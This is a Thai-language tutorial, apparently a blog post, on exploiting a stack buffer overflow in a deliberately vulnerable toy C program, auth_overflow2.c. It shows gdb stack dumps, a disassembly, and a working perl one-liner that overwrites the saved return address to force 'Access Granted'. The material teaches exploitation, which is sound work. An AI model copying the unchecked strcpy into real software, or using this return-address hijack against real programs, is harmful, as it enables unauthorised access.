เมื่อครั้งทีแล้วเราได้เห็นถึง
ช่องโหว่บัฟเฟอร์โอเวอร์โฟลว์บนหน่วยความจำในสแต็ก ด้วยโปรแกรมง่าย auth_overflow.c ที่มีช่องโหว่อยู่ตรง if statement แต่มันสามารถถูกแก้ไขได้ด้วยวิธีง่ายๆ
root@bt:~/hacking# diff auth_overflow.c auth_overflow2.c
24c24
< if(check_authentication(argv[1])) {
---
> if(check_authentication(argv[1]) == 1) {
จากครั้งที่แล้วฟังก์ชั่น check_authentication() ถ้าค่าที่รีเทิร์นกลับมาเป็นเลขจำนวนเต็มใดๆ ที่ไม่เท่ากัน 0 ภาษาซีถือว่าเป็นจริง(true) ดั่งนั้นเพื่อให้มันใจได้ว่าค่าที่รีเทิร์นกลับมามีค่าเท่ากับ 1 จึงต้องได้รับการแก้ไข
root@bt:~/Code/c/hacking# ./auth_overflow AAAAAAAAAAAAAAAAAA
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
root@bt:~/Code/c/hacking# ./auth_overflow2 AAAAAAAAAAAAAAAAAA
Access Denied.
root@bt:~/Code/c/hacking# ./auth_overflow2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
root@bt:~/Code/c/hacking#
ผลจากการเปลี่ยนแปลงใน if statement ทำให้เราไม่สามารถใช้วิธีแบบเดิมได้อีกแล้ว แต่นี้ก็เป็นเรื่องที่ดีที่โปรแกรมสามารถทำงานได้ตามที่โปรแกรมเมอร์ต้องการ เอ๊!! แล้วจะทำยังไงดีหล่ะคราวนี้ โชคดีที่เราลองมั่วไปแล้วมันเกิด Segmentation fault ... แล้วมันคืออะไร ความจริงแล้วเราไม่สามารถจะคาดการณ์อะไรกันมันได้เลย แต่มันจะต้องล้นไปทับส่วนที่สำคัญอย่างแน่นอน ลองไปดูการโฟลว์การทำงานในดีบั๊กเกอร์ดีกว่า
oot@bt:~/Code/c/hacking# gdb -q ./auth_overflow2
Reading symbols from /root/Code/c/hacking/auth_overflow2...done.
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4
5 int check_authentication(char *password) {
6 char password_buffer[16];
7 int auth_flag = 0;
8
9 strcpy(password_buffer, password);
10
(gdb)
11 if(strcmp(password_buffer, "nopX90") == 0)
12 auth_flag = 1;
13 if(strcmp(password_buffer, "naruedol") == 0)
14 auth_flag = 1;
15
16 return auth_flag;
17 }
18
19 int main(int argc, char *argv[]) {
20 if(argc < 2) {
(gdb)
21 printf("Usage: %s <password>\n", argv[0]);
22 exit(0);
23 }
24 if(check_authentication(argv[1]) == 1) {
25 printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
26 printf(" Access Granted.\n");
27 printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
28 } else {
29 printf("\nAccess Denied.\n");
30 }
(gdb)
31 }
32
(gdb) b 24
Breakpoint 1 at 0x8048522: file auth_overflow2.c, line 24.
(gdb) b 9
Breakpoint 2 at 0x80484a1: file auth_overflow2.c, line 9.
(gdb) b 16
Breakpoint 3 at 0x80484ef: file auth_overflow2.c, line 16.
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /root/Code/c/hacking/auth_overflow2 AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, main (argc=2, argv=0xbffff5a4) at auth_overflow2.c:24
24 if(check_authentication(argv[1]) == 1) {
(gdb) i r eip esp ebp
eip 0x8048522 0x8048522 <main+46>
esp 0xbffff4f0 0xbffff4f0
ebp 0xbffff4f8 0xbffff4f8
(gdb) i f #เรียกดู stack frame ใน main()
Stack level 0, frame at 0xbffff500:
eip = 0x8048522 in main (auth_overflow2.c:24); saved eip 0xb7e8abd6
source language c.
Arglist at 0xbffff4f8, args: argc=2, argv=0xbffff5a4
Locals at 0xbffff4f8, Previous frames sp is 0xbffff500
Saved registers:
ebp at 0xbffff4f8, eip at 0xbffff4fc
(gdb) x/32xw $esp
0xbffff4f0: 0x08048580 0x00000000 0xbffff578 0xb7e8abd6
0xbffff500: 0x00000002 0xbffff5a4 0xbffff5b0 0xb7fe1858
0xbffff510: 0xbffff560 0xffffffff 0xb7ffeff4 0x0804829c
0xbffff520: 0x00000001 0xbffff560 0xb7ff0626 0xb7fffab0
0xbffff530: 0xb7fe1b48 0xb7fc9ff4 0x00000000 0x00000000
0xbffff540: 0xbffff578 0x2636a37e 0x088b956e 0x00000000
0xbffff550: 0x00000000 0x00000000 0x00000002 0x080483e0
0xbffff560: 0x00000000 0xb7ff6230 0xb7e8aafb 0xb7ffeff4
(gdb)
เบรกพอยต์อันแรกจะอยู่ก่อนหน้า check_authtication() ที่จุดนี้ สแต็กพอยต์เตอร์รีจีสเตอร์ (ESP) จะมีค่าเท่ากัน 0xbffff4f0 และเราได้เข้าไปดูส่วนข้างในของสแต็ก ซึ่งนี้ก็คือสแต็กเฟรมทั้งของฟังก์ชั่ง main()
(gdb) c
Continuing.
Breakpoint 2, check_authentication (password=0xbffff720 'A' <repeats 28 times>) at auth_overflow2.c:9
9 strcpy(password_buffer, password);
(gdb) i f # stack frame ในฟังก์ชั่น check_authentication()
Stack level 0, frame at 0xbffff4f0:
eip = 0x80484a1 in check_authentication (auth_overflow2.c:9); saved eip 0x8048532
called by frame at 0xbffff500
source language c.
Arglist at 0xbffff4e8, args: password=0xbffff720 'A' <repeats 28 times>
Locals at 0xbffff4e8, Previous frames sp is 0xbffff4f0
Saved registers:
ebp at 0xbffff4e8, eip at 0xbffff4ec #Address ในจะเก็บค่าที่รีเทิร์นกลับไป main()
(gdb) x/32xw $esp
0xbffff4cc: 0x08048599 0xb7fca324 0xb7fc9ff4 0x08048580
0xbffff4dc: 0xbffff4f8 0xb7ea34a5 0x00000000 0xbffff4f8
0xbffff4ec: *0x08048532 0xbffff720 0x00000000 0xbffff578
0xbffff4fc: 0xb7e8abd6 0x00000002 0xbffff5a4 0xbffff5b0
0xbffff50c: 0xb7fe1858 0xbffff560 0xffffffff 0xb7ffeff4
0xbffff51c: 0x0804829c 0x00000001 0xbffff560 0xb7ff0626
0xbffff52c: 0xb7fffab0 0xb7fe1b48 0xb7fc9ff4 0x00000000
0xbffff53c: 0x00000000 0xbffff578 0x5ed7afcb 0x706a99db
(gdb) x/x &password_buffer
0xbffff4d4: 0xb7fc9ff4
(gdb) x/x &auth_flag
0xbffff4e4: 0x00000000
(gdb) p 0xbffff4ec - 0xbffff4d4
$1 = 24
(gdb) p 24+4
$2 = 28 #ค่าที่ได้จากตัวแปร password_buffer ถึง save registers
(gdb) disass main
Dump of assembler code for function main:
0x080484f4 <+0>: push ebp
0x080484f5 <+1>: mov ebp,esp
0x080484f7 <+3>: sub esp,0x8
0x080484fa <+6>: cmp DWORD PTR [ebp+0x8],0x1
0x080484fe <+10>: jg 0x8048522 <main+46>
0x08048500 <+12>: mov eax,DWORD PTR [ebp+0xc]
0x08048503 <+15>: mov edx,DWORD PTR [eax]
0x08048505 <+17>: mov eax,0x8048640
0x0804850a <+22>: mov DWORD PTR [esp+0x4],edx
0x0804850e <+26>: mov DWORD PTR [esp],eax
0x08048511 <+29>: call 0x804839c <printf@plt>
0x08048516 <+34>: mov DWORD PTR [esp],0x0
0x0804851d <+41>: call 0x80483cc <exit@plt>
0x08048522 <+46>: mov eax,DWORD PTR [ebp+0xc]
0x08048525 <+49>: add eax,0x4
0x08048528 <+52>: mov eax,DWORD PTR [eax]
0x0804852a <+54>: mov DWORD PTR [esp],eax
0x0804852d <+57>: call 0x8048494 <check_authentication>
*0x08048532 <+62>: cmp eax,0x1
0x08048535 <+65>: jne 0x804855d <main+105>
0x08048537 <+67>: mov DWORD PTR [esp],0x8048656
0x0804853e <+74>: call 0x80483ac <puts@plt>
0x08048543 <+79>: mov DWORD PTR [esp],0x8048673
0x0804854a <+86>: call 0x80483ac <puts@plt>
0x0804854f <+91>: mov DWORD PTR [esp],0x8048689
0x08048556 <+98>: call 0x80483ac <puts@plt>
0x0804855b <+103>: jmp 0x8048569 <main+117>
0x0804855d <+105>: mov DWORD PTR [esp],0x80486a5
0x08048564 <+112>: call 0x80483ac <puts@plt>
0x08048569 <+117>: leave
0x0804856a <+118>: ret
End of assembler dump.
ทั้งหมดอาจดูสับสน แต่มันแค่เป็นการเข้าไปสำรวจสแต็กเฟรมของฟังก์ชั่น check_authentication() ทำให้เราได้บพบกับ Save register ที่ได้เก็บค่าต่างๆไว้ด้วย function prologue มันทำหน้าที่บันทึกเฟรมต่างไว้บนสแต็กนั้นและ รวมไปถึง (EIP) อยู่ที่ 0xbffff4ec และจะคอยคืนค่าให้กับ EIP หลังจบฟังก์ชั่น check_authentication() แล้วอะไรจะเกิดขึ้นถ้า save register eip ถูกเขียนทับ ? แน่นอนครับมันจะกระโดดไปเอ็กซิคิวต์ค่านั้น
(gdb) c
Continuing.
Breakpoint 3, check_authentication (password=0xbffff700 "t/Code/c/hacking/auth_overflow2") at auth_overflow2.c:16
16 return auth_flag;
(gdb) i f #เช็คสแต็กเฟรมอีกครั้ง
Stack level 0, frame at 0xbffff4f0:
eip = 0x80484ef in check_authentication (auth_overflow2.c:16); saved eip 0x41414141
called by frame at 0xbffff4f4
source language c.
Arglist at 0xbffff4e8, args: password=0xbffff700 "t/Code/c/hacking/auth_overflow2"
Locals at 0xbffff4e8, Previous frames sp is 0xbffff4f0
Saved registers:
ebp at 0xbffff4e8, eip at 0xbffff4ec
(gdb) x/32xw $esp
0xbffff4cc: 0xbffff4d4 0x08048637 0x41414141 0x41414141
0xbffff4dc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff4ec: 0x41414141 0xbffff700 0x00000000 0xbffff578
0xbffff4fc: 0xb7e8abd6 0x00000002 0xbffff5a4 0xbffff5b0
0xbffff50c: 0xb7fe1858 0xbffff560 0xffffffff 0xb7ffeff4
0xbffff51c: 0x0804829c 0x00000001 0xbffff560 0xb7ff0626
0xbffff52c: 0xb7fffab0 0xb7fe1b48 0xb7fc9ff4 0x00000000
0xbffff53c: 0x00000000 0xbffff578 0x5ed7afcb 0x706a99db
(gdb) x/x &password_buffer
0xbffff4d4: 0x41414141
(gdb) x/x &auth_flag
0xbffff4e4: 0x41414141
(gdb) x/x 0xbffff4ec
0xbffff4ec: 0x41414141 #ค่าริเทิร์น address ได้ถูกเขียนทับแล้วด้วย 'A'
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i f
Stack level 0, frame at 0xbffff4f4:
eip = 0x41414141; saved eip 0xbffff700
called by frame at 0x41414149
Arglist at 0xbffff4ec, args:
Locals at 0xbffff4ec, Previous frames sp is 0xbffff4f4
Saved registers:
eip at 0xbffff4f0
(gdb) x/i $eip
=> 0x41414141: Cannot access memory at address 0x41414141
(gdb) c
Continuing.
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb)
จาก gdb ทำให้เราได้เห็นถึงตัวการที่ทำให้เกิด Segmentation fault. เหตุการณ์แบบนี้เป็นเรื่องที่ไม่ดีเท่าไหร่บนเซฟเฟรมพอยน์เตอร์ ที่ถูกคอมไฟล์ด้วย
-fomit-frame-pointer แล้วมันจะเกิดอะไรขึ้นถ้าคุณใช้มันอย่างชาญฉลาด
#========: ละไว้มันยาว :========
0x0804852d <+57>: call 0x8048494 <check_authentication>
0x08048532 <+62>: cmp eax,0x1
0x08048535 <+65>: jne 0x804855d <main+105>
0x08048537 <+67>: mov DWORD PTR [esp],0x8048656
0x0804853e <+74>: call 0x80483ac <puts@plt>
0x08048543 <+79>: mov DWORD PTR [esp],0x8048673
0x0804854a <+86>: call 0x80483ac <puts@plt>
0x0804854f <+91>: mov DWORD PTR [esp],0x8048689
0x08048556 <+98>: call 0x80483ac <puts@plt>
0x0804855b <+103>: jmp 0x8048569 <main+117>
0x0804855d <+105>: mov DWORD PTR [esp],0x80486a5
0x08048564 <+112>: call 0x80483ac <puts@plt>
ตัวหนังสือหนาเป็น address ที่เก็บคำสั่งที่ใช้แสดงคำว่า
Access Granted. เริ่มต้นที่ 0x08048537 แล้วมันสำคัญยังไงหล่ะ ? แน่นอนครับถ้าเราสามารถนำมันไปว่าไว้บน save register eip ได้ก่อนที่มันจะรีเทิร์นค่าให้กลับ EIP แบบพอดี แล้วจากได้รับค่า รีเทิร์นแอดเดรสหลังจบฟังก์ชั่น check_authentication() step ต่อมา EIP จะต้องเอ็กซีคิวต์คำสั่งที่มันกำลังชี้อยู่ ใช่แล้วเรากำลังจะบังคับให้ EIP ชี้ไปยังตำแหน่งที่เราต้องการ
root@bt:~/hacking# ./auth_overflow2 $(perl -e 'print "\x37\x85\x04\x08"x10')
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
เย้ !!! ถึงแม้การทำให้ได้คำว่า Access Granted. อาจดูไม่มีประโยชน์เท่าไหร่ แต่เราได้เรียนรู้ถึงเทคนิคใหม่ๆ แน่นอนคับเทคนิคนี้สามรถสร้างประโยชน์ได้เยอะ ถ้าเราสามารถคุมโฟลว์การเอ็กซีคิวได้